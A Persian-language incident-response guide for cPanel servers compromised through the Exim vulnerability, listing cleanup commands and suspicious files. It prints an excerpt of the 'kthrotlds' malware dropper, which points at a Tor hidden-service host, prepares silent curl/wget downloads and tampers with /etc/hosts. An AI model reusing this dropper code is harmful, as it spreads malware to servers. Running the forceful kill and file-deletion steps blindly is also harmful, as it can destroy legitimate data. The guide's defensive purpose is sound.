بر اساس گزارش اخیر در رابطه با مشکل امنیتی Exim این حفره امنیتی مشکلات متعددی را برای سرور های دارای نرم افزار exim ایجاد کرده است و میلیون ها سرور تحت تاثیر این موضوع قرار گرفته اند. این نرم افزار بر روی سرور های سی پنل نیز به شکل گسترده استفاده میشود و لازم است در این خصوص اقدامات لازم صورت گیرد.
چگونه ورژن Exim را در سی پنل کنترل کنیم ؟
با استفاده از این دستور میتوانیم نسخه Exim را کنترل کنیم و در صورتی که خارج از این محدوده قرار داشت لازم است بروز رسانی صورت گیرد.
کنترل ورژن :
|
rpm -q exim whmapi1 installed_versions packages=1|grep exim exim --version |
اطلاعات بیشتر در خصوص ورژن را میتوانید از این لینک در اختیار داشته باشید :
در صورتی که سرور آسیب دیده باشد :
موارد زیر تاکنون در این سرور ها مشاهده شده است و پیشنهاد میگردد انجام شود
۱) باید سرویس cron را متوقف نمایید چرا که این سرویس در crontab شما تغییراتی ایجاد کرده است.
service crond stop
۲) احتمالا سرویس زیر در حافظه سرور در حال اجراست و لازم است آن را متوقف نمایید
pkill -9 -f kthrotlds
برای اطمینان از اینکه از حافظه حذف شده است از دستور زیر استفاده نمایید
ps aux | grep kthrotlds
۳) فایل زیر را حذف نمایید این فایل همان فایلی است که در حافظه سرور شما بارگذاری میشود
/usr/bin/[kthrotlds]
۴) کران جاب های آلوده را با دستور زیر میتوانید پیدا کنید
grep -r passwd /var/spool/cron*
۵)
مسیر های زیر را برای یافتن کدهای مخرب رسد کنید :
|
/etc/ /root/ /usr/local/bin |
برای مشاهده فایل های تغییر یافته در ۵ روز گذشته چنین دستوری میتواند کمک کند
|
find /etc/ -mtime -5 -print |
نمونه کد مخرب مشابه زیر است
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
#!/bin/sh SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin RHOST=”https://an7kmd2wp4xo7hpr” TOR1=”.tor2web.su/” TOR2=”.tor2web.io/” TOR3=”.onion.sh/” RPATH1=’src/ldm’ #LPATH=”${HOME-/tmp}/.cache/” TIMEOUT=”75″ CTIMEOUT=”22″ COPTS=” -fsSLk –retry 2 –connect-timeout ${CTIMEOUT} –max-time ${TIMEOUT} ” WOPTS=” –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=${CTIMEOUT} –timeout=${TIMEOUT} ” tbin=$(command -v passwd); bpath=$(dirname “${tbin}”) curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “.wgetrc’-style command” && wget=”$f” && break; done; fi; fi #CHKCURL=’curl=”curl “; wget=”wget “; if [ “$(whoami)” = “root” ]; then if [ $(command -v curl|wc -l) -eq 0 ]; then curl=$(ls /usr/bin|grep -i url|head -n 1); fi; if [ -z ${curl} ]; then curl=”echo “; fi; if [ $(command -v wget|wc -l) -eq 0 ]; then wget=$(ls /usr/bin|grep -i wget|head -n 1); fi; if [ -z ${wget} ]; then wget=”echo “; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; fi; ‘ CHKCURL=’tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; ‘ LBIN8=”kthrotlds” null=’ >/dev/null 2>&1′ |
۶) مسیر های زیر را به دقت بررسی و authorized_keys را حذف نمایید
|
/root/.ssh/authorized_keys, /etc/cron.d, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly |
۷) این فایل ها مشکوک هستند و پس از اطمینان آنها را خذف نمایید
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
/etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp |
۸) فایل /etc/rc.local همانطوری که میدانید فایل مهمی است این فایل را با دقت برای دستور autostart جستجو کنید
۹)لازم است بعد از اعمال همه تغییرات سرور را ریبوت کنید.